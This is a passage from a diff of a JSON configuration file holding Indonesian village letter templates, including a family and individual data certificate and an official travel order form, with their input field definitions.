\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Kepala Keluarga<\/td>\r\n :<\/td>\r\n [KePala_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n Nomor Kartu Keluarga<\/td>\r\n :<\/td>\r\n [No_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Alamat Keluarga<\/td>\r\n :<\/td>\r\n [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

II. DATA INDIVIDU<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Lengkap<\/td>\r\n :<\/td>\r\n [NAma]<\/strong><\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n NIK<\/td>\r\n :<\/td>\r\n [NiK]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Alamat Sebelumnya<\/td>\r\n :<\/td>\r\n [AlAmat_sebelumnya]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 4.<\/td>\r\n Nomor Paspor<\/td>\r\n :<\/td>\r\n [DoKumen_pasport]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 5.<\/td>\r\n Tanggal Berakhir Paspor<\/td>\r\n :<\/td>\r\n [TaNggal_akhir_paspor]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 6.<\/td>\r\n Jenis Kelamin<\/td>\r\n :<\/td>\r\n [Jenis_kelamin]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 7.<\/td>\r\n Tempat Lahir<\/td>\r\n :<\/td>\r\n [TeMpatlahir]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 8.<\/td>\r\n Tanggal Lahir<\/td>\r\n :<\/td>\r\n [TtL]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 9.<\/td>\r\n Akta Kelahiran \/ Surat Kelahiran<\/td>\r\n :<\/td>\r\n [AkTa_lahir]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 10.<\/td>\r\n Golongan Darah<\/td>\r\n :<\/td>\r\n [GoL_darah]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 11.<\/td>\r\n Agama<\/td>\r\n :<\/td>\r\n [AgAma]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 12.<\/td>\r\n Status Perkawinan<\/td>\r\n :<\/td>\r\n [StAtus_kawin]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 13.<\/td>\r\n Akta Perkawinan \/ Buku Nikah<\/td>\r\n :<\/td>\r\n [AkTa_perkawinan]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 14.<\/td>\r\n Tanggal Akta Perkawinan \/ Buku Nikah<\/td>\r\n :<\/td>\r\n [TaNggalperkawinan]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 15.<\/td>\r\n Akta Perceraian<\/td>\r\n :<\/td>\r\n [AkTa_perceraian]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 16.<\/td>\r\n Tanggal Perceraian<\/td>\r\n :<\/td>\r\n [TaNggalperceraian]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 17.<\/td>\r\n Status Hubungan Dalam Keluarga<\/td>\r\n :<\/td>\r\n [HuBungan_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 18.<\/td>\r\n Kelainan Fisik \/ Mental<\/td>\r\n :<\/td>\r\n [CaCat]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 19.<\/td>\r\n Pendidikan Akhir<\/td>\r\n :<\/td>\r\n [PeNdidikan_kk]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 20.<\/td>\r\n Pekerjaan<\/td>\r\n :<\/td>\r\n [PeKerjaan]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

III. DATA ORANG TUA
<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\u00a0<\/td>\r\n 1.<\/td>\r\n Nama Ibu<\/td>\r\n :<\/td>\r\n [Nama_ibu]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 2.<\/td>\r\n NIK Ibu<\/td>\r\n :<\/td>\r\n [nik_ibu]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 3.<\/td>\r\n Nama Ayah<\/td>\r\n :<\/td>\r\n [Nama_ayah]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n 4.<\/td>\r\n NIK Ayah<\/td>\r\n :<\/td>\r\n [nik_ayah]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n

\u00a0<\/p>\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [NaMa_desa], [TgL_surat]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [Atas_namA]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [Nama_pamonG]<\/td>\r\n <\/tr>\r\n
\u00a0<\/td>\r\n \u00a0<\/td>\r\n [SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n <\/tr>\r\n <\/tbody>\r\n <\/table>\r\n
\u00a0<\/div>", + "template_desa": null, "form_isian": { "individu": { - "sumber": 1, "data": [ - "1", - "3" + "1" ], - "sex": "1", + "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ "1", "2", "3", @@ -1605,61 +1956,57 @@ "6", "7", "8", - "9", - "10", - "11" - ], - "data_orang_tua": "1", - "data_pasangan": "0", - "judul": "Pengantin Pria", - "label": "A. Calon Pasangan Pria", - "info": "", - "sebagai": 1, - "hubungan": null - }, - "dapp": { - "sumber": 1, - "data": [ - "1", - "3" + "9" ], - "sex": "1", - "status_dasar": null, "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Ayah Pria", - "label": "A.2 DATA AYAH PASANGAN PRIA", - "info": "", - "sebagai": 0, - "hubungan": "individu" - }, - "dipp": { + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ] + } + }, + "kode_isian": [], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Perintah Perjalanan Dinas", + "url_surat": "surat-perintah-perjalanan-dinas", + "kode_surat": "S-46", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n\r\n\r\n\r\n\r\n
Lembar Ke<\/td>\r\n:\u00a0<\/td>\r\n<\/tr>\r\n
Kode Ke<\/td>\r\n:\u00a0<\/td>\r\n<\/tr>\r\n
Nomor<\/td>\r\n: [Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

\u00a0<\/p>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

[JUdul_surat]<\/span><\/h4>\r\n
\u00a0<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
1.<\/td>\r\nPengguna Anggaran<\/td>\r\n:<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
2.<\/td>\r\nNama pegawai yang diperintah<\/td>\r\n:<\/td>\r\n[NamA]<\/strong><\/td>\r\n<\/tr>\r\n
3.<\/td>\r\na. Pangkat dan Golongan<\/td>\r\na<\/td>\r\n[Form_pangkat_dan_golongaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nb. Jabatan\/Instansi<\/td>\r\nb<\/td>\r\n[Form_jabataninstansI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nc. Tingkat Biaya Perjalanan<\/td>\r\nc<\/td>\r\n[Form_tingkat_biaya_perjalanaN]<\/td>\r\n<\/tr>\r\n
4.<\/td>\r\nMaksud Perjalanan Dinas<\/td>\r\n:<\/td>\r\n[Form_maksud_perjalanan_dinaS]<\/strong><\/td>\r\n<\/tr>\r\n
5.<\/td>\r\na. Tempat Berangkat<\/td>\r\na.<\/td>\r\nKantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nb. Tempat Tujuan<\/td>\r\nb.<\/td>\r\n[Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
6.<\/td>\r\na. Tanggal Berangkat<\/td>\r\na.<\/td>\r\n[Form_tanggal_berangkaT]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nb. Tanggal Kembali<\/td>\r\nb.<\/td>\r\n[Form_tanggal_kembalI]<\/td>\r\n<\/tr>\r\n
7.<\/td>\r\nAlat angkut yang dipergunakan<\/td>\r\n:<\/td>\r\n[Form_alat_angkut_yang_digunakaN]<\/td>\r\n<\/tr>\r\n
8.<\/td>\r\nPengikut Nama<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
1.<\/td>\r\n[Form_nama_pengikut_I]<\/td>\r\n4.<\/td>\r\n[Form_nama_pengikut_iV]<\/td>\r\n<\/tr>\r\n
2.<\/td>\r\n[Form_nama_pengikut_iI]<\/td>\r\n5.<\/td>\r\n[Form_nama_pengikut_V]<\/td>\r\n<\/tr>\r\n
3.<\/td>\r\n[Form_nama_pengikut_iiI]<\/td>\r\n6.<\/td>\r\n[Form_nama_pengikut_vI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
9.<\/td>\r\nPembebanan Anggaran<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\na. Instansi<\/td>\r\n:<\/td>\r\na. Kantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nb. Mata Anggaran<\/td>\r\n:<\/td>\r\nb. APBKam\u00a0\u00a0Tahun [TahuN]<\/td>\r\n<\/tr>\r\n
10.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\n[Form_keterangan_laiN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

\u00a0<\/h4>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nDitetapkan di : [NaMa_desa]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal :\u00a0 [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/strong><\/td>\r\n[Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

\u00a0<\/span><\/h4>\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n
I. Berangkat dari<\/td>\r\n: Kantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
Ke<\/td>\r\n: [Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
Pada Tanggal<\/td>\r\n: [Form_tanggal_berangkaT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n
\u00a0<\/div>\r\n<\/td>\r\n<\/tr>\r\n
\r\n\r\n\r\n\r\n\r\n
[Sebutan_kepala_desA] [Nama_desA]\r\n



( [Nama_pamonG]<\/strong>\u00a0)<\/strong><\/p>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
II.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
III.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
IV.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
V. Tiba di : Kantor [Sebutan_desA] [Nama_desA]
Pada Tanggal : [Form_tanggal_kembalI]<\/td>\r\n
Telah diperiksa dengan keterangan bahwa perjalan tersebut atas perintahnya dan semata-mata untuk kepentingan jabatan dalam waktu yang sesingkat-singkatnya<\/em><\/td>\r\n<\/tr>\r\n
[Sebutan_kepala_desA] [Nama_desA]



( [Nama_pamonG]<\/strong>\u00a0)<\/strong><\/td>\r\n<\/tr>\r\n
VI. PERHATIAN <\/u>
Pengguna Anggaran yang menerbitkan SPD, pegawai yang melakukan perjalanan dinas, para pejabat yang mengesahkan tanggal berangkat\/tiba, \u00a0\u00a0\u00a0serta bendahara pengeluaran bertanggungjawab berdasarkan Peraturan Keuangan Negara. Apabila Negara menderita \u00a0rugi akibat \u00a0kesalahan, kelalaian dan kealpaannya.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

\u00a0<\/h4>\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]<\/p>\r\n

MEMERINTAHKAN<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NaMA]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nJabatan<\/td>\r\n:<\/td>\r\n[Form_jabataninstansI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desA] [Nama_desA] : [Kode_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Sebutan_kecamataN] [Nama_kecamataN] : [Kode_kecamataN]<\/td>\r\n<\/tr>\r\n
2.<\/td>\r\nMaksud Tugas<\/td>\r\n:<\/td>\r\n[Form_maksud_perjalanan_dinaS]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTujuan<\/td>\r\n:<\/td>\r\n[Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n[Form_tanggal_berangkaT] s\/d [Form_tanggal_kembalI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPengikut<\/td>\r\n:<\/td>\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n\r\n
1.<\/td>\r\n[Form_nama_pengikut_I]<\/td>\r\n<\/tr>\r\n
2.<\/td>\r\n[Form_nama_pengikut_iI]<\/td>\r\n<\/tr>\r\n
3.<\/td>\r\n[Form_nama_pengikut_iiI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
4.<\/td>\r\n[Form_nama_pengikut_iV]<\/td>\r\n<\/tr>\r\n
5.<\/td>\r\n[Form_nama_pengikut_V]<\/td>\r\n<\/tr>\r\n
6.<\/td>\r\n[Form_nama_pengikut_vI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

\u00a0<\/p>\r\n

Demikian Surat Tugas ini dikeluarkan untuk dilaksanakan sebagaimana mestinya.<\/p>\r\n

.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
[Nama_desA], [TgL_surat]<\/td>\r\n<\/tr>\r\n
[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n































<\/p>\r\n

\u00a0<\/p>\r\n

HASIL BIMTEK\/PELATIHAN\/KONSULTASI\/MONEV\/PENGIRIMAN DATA, DLL<\/span><\/h4>\r\n

Sebagai berikut :

1.
2.
3.<\/div>", + "template_desa": null, + "form_isian": { + "individu": { "sumber": 1, "data": [ - "1", - "3" + "1" ], - "sex": "2", + "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ "1", "2", "3", @@ -1668,1335 +2015,1058 @@ "6", "7", "8", - "9", - "10", - "11" - ], - "judul": "Ibu Pria", - "label": "A.3 DATA IBU PASANGAN PRIA", - "info": "", - "sebagai": 0, - "hubungan": "individu" - }, - "ilama": { - "sumber": 0, - "data": [ - "1" + "9" ], - "sex": "1", - "status_dasar": null, "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Istri Terdahulu", - "label": "A.4 DATA ISTRI TERDAHULU", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "cpw": { - "sumber": 1, - "data": [ - "1", - "3" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], - "sex": "2", - "status_dasar": null, - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Pengantin Wanita", - "label": "B. Calon Pasangan Wanita", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "dapw": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "1", - "status_dasar": null, - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Ayah Wanita", - "label": "B.2 DATA AYAH PASANGAN WANITA", - "info": "", - "sebagai": 0, - "hubungan": "cpw" - }, - "dipw": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "2", - "status_dasar": null, - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Ibu Wanita", - "label": "B.3 DATA IBU PASANGAN WANITA", - "info": "", - "sebagai": 0, - "hubungan": "cpw" - }, - "slama": { - "sumber": 0, - "data": [ - "1" - ], - "sex": "1", - "status_dasar": null, - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Suami Terdahulu", - "label": "B.4 DATA SUAMI TERDAHULU", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "Saksi_I": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi I", - "label": "B. Saksi 1", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "Saksi_II": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi II", - "label": "B. Saksi 2", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "kawin": { - "sumber": 0, - "data": [ - "1" - ], - "sex": "", - "status_dasar": null, - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Data Perkawinan", - "label": "C. Data Perkawinan", - "info": "", - "sebagai": 0, - "hubungan": "" + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "hubungan": null } }, "kode_isian": [ { - "tipe": "select-manual", - "kode": "[form_status_kawin]", - "nama": "Status Kawin", - "deskripsi": "Pilih Status Kawin", + "tipe": "text", + "kode": "[form_pangkat_dan_golongan]", + "nama": "Pangkat dan Golongan", + "deskripsi": "Pangkat dan Golongan", "required": "1", "atribut": null, - "pilihan": [ - "Jejaka", - "Duda", - "Beristri" - ], - "refrensi": null, - "kolom": "6", - "label": "Jika pria, terangkan jejaka, duda atau beristri", - "kaitkan_kode": "[{\"nilai_isian\":[\"Beristri\"],\"kode_isian_terkait\":[\"Istri ke\"]}]" - }, - { - "tipe": "number", - "kode": "[form_istri_ke]", - "nama": "Istri ke", - "deskripsi": "Jika beristri, istri ke-", - "required": "0", - "atribut": "min=1 max=10 class=\"\"", "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Jika beristri, istri ke-", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "tipe": "number", - "kode": "[form_anak_ke]", - "nama": "Anak ke", - "deskripsi": "Anak ke", - "required": "0", - "atribut": "min=1 max=10 class=\"\"", + "tipe": "text", + "kode": "[form_jabataninstansi]", + "nama": "Jabatan\/Instansi", + "deskripsi": "Jabatan\/Instansi", + "required": "1", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", + "kolom": "", "label": "", "kaitkan_kode": "" }, { - "tipe": "number", - "kode": "[form_perkawinan_ke]", - "nama": "Perkawinan ke", - "deskripsi": "Perkawinan ke", - "required": "0", - "atribut": "min=1 max=10 class=\"\"", + "tipe": "text", + "kode": "[form_tingkat_biaya_perjalanan]", + "nama": "Tingkat Biaya Perjalanan", + "deskripsi": "Tingkat Biaya Perjalanan", + "required": "1", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", + "kolom": "", "label": "", "kaitkan_kode": "" }, { - "tipe": "number", - "kode": "[form_paspor]", - "nama": "Paspor", - "deskripsi": "Paspor", - "required": "0", + "tipe": "textarea", + "kode": "[form_maksud_perjalanan_dinas]", + "nama": "Maksud Perjalanan Dinas", + "deskripsi": "Maksud Perjalanan Dinas", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" }, { - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", + "tipe": "text", + "kode": "[form_tempat_tujuan]", + "nama": "Tempat Tujuan", + "deskripsi": "Tempat Tujuan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Telepon", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", + "kode": "[form_alat_angkut_yang_digunakan]", + "nama": "Alat Angkut Yang Digunakan", + "deskripsi": "Alat Angkut Yang Digunakan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { "tipe": "text", - "kode": "[form_kebangsaan_bagi_wna]", - "nama": "Kebangsaan (Bagi WNA)", - "deskripsi": "Kebangsaan", + "kode": "[form_nama_pengikut_i]", + "nama": "Nama Pengikut I", + "deskripsi": "Nama Pengikut I", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Kebangsaan (Bagi WNA)", + "label": "Nama Pengikut", "kaitkan_kode": "" }, { - "kategori": "dapp", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", + "tipe": "text", + "kode": "[form_nama_pengikut_ii]", + "nama": "Nama Pengikut II", + "deskripsi": "Nama Pengikut II", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Telepon", + "label": "Nama Pengikut", "kaitkan_kode": 